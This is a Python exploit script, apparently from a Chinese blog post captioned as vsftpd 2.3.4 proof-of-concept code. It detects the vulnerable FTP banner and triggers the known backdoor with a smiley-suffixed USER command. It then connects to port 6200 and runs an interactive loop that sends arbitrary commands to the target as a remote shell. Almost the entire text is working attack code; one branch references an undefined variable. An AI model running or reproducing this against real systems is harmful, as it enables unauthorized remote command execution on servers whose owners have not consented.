import socket #网络编程 urllab2 requests
import time #时间
import sys #接受参数 optparser
'''
调用SOCKET库下的socket功能其(使用IP地址类型,使用传输层的协议,protocal=0)
socket.AF_INET:IPV4
socket.AF_INET6:IPV6
socket.SOCK_STREAM:使用TCP传输协议
socket.SOCK_DGRAM:使用UDP传输协议
协议默认为0填写的就是tcp协议
'''
def exploit(ip, port):
try:
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect((ip, port)) #对目标IP地址及端口进行连接
check = ftp.recv(1024).decode('utf-8') # 接受返回来的数据并对其进行解码操作
socket.setdefaulttimeout(5) #设置请求超时时间
if "vsftpd 2.3.4" in check.lower(): #检测banner信息中是否存在漏洞信息
ftp.send(b'USER letmein:)\n') #发送攻击数据
ftp.send(b'PASS invaild\n') #发送攻击数据
time.sleep(2) #等待2秒钟时间
ftp.close() #关闭连接
print("[+] SUCCESSFUL CONNECTİON")
else:
print("[-] Not work vsftpd 2.3.4")
except Exception as f: #异常信息给到变量f
print('[-] CONNECTION FAILED')
print(f) #打印异常信息
ftp.close() #关闭连接
sys.exit(1) #退出程序并返回1
try:
arkakapi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #调用socket库
arkakapi.connect((ip, 6200)) #对目标IP地址及端口进行连接
arkakapi.setdefaulttimeout(1.5) #设置请求超时时间为1.5秒
print('[*] SESSION CREATED')
print('[!] Interactive shell to check >> use command shell_check')
host = str.encode('id -u -n' + '\n') #漏洞验证
arkakapi.send(host)
hostt = arkakapi.recv(1024).decode('utf-8')
while True:
sendnude = input(ip + '@' + str(hostt.strip()) + "#: ") #接受用户输入要执行的命令
if sendnude.lower() == 'shell_check':
print('[*]Interactıve shell checked...')
komut = str.encode((tty + '\n'))
arkakapi.send(komut)
print(arkakapi.recv(1024).decode('utf-8'))
else:
try:
komut = str.encode((sendnude + '\n')) #将输入的命令添加换行操作在进行UTF-8编码
arkakapi.send(komut) #发送要执行的命令
responseq = arkakapi.recv(1024).decode('utf-8') #接受并解码放回来的数据
print(responseq) #打印命令执行结果
except socket.timeout:
pass
if sendnude.lower() == 'exit': #shell中判断退出
print('[*] SESSION CLOSED')
arkakapi.close()
sys.exit(1)
except Exception as f: #异常处理
print('[!] Failed to connect to backdoor')
print(f)
if __name__ == '__main__': # 判断python脚本是否是独立执行
if len(sys.argv) < 3: # 脚本参数数量判断
print('Usage ./VSFTPexp.py <İP> <PORT>')
print('Example ./VSFTPexp.py 127.0.0.1 21')
else:
exploit(sys.argv[1], int(sys.argv[2])) #函数使用 第一个参数传递进入字符串类型 第二个参数传递进入为类型转换后的整型
vsftpd2.3.4 POC代码
最新推荐文章于 2023-02-11 17:04:36 发布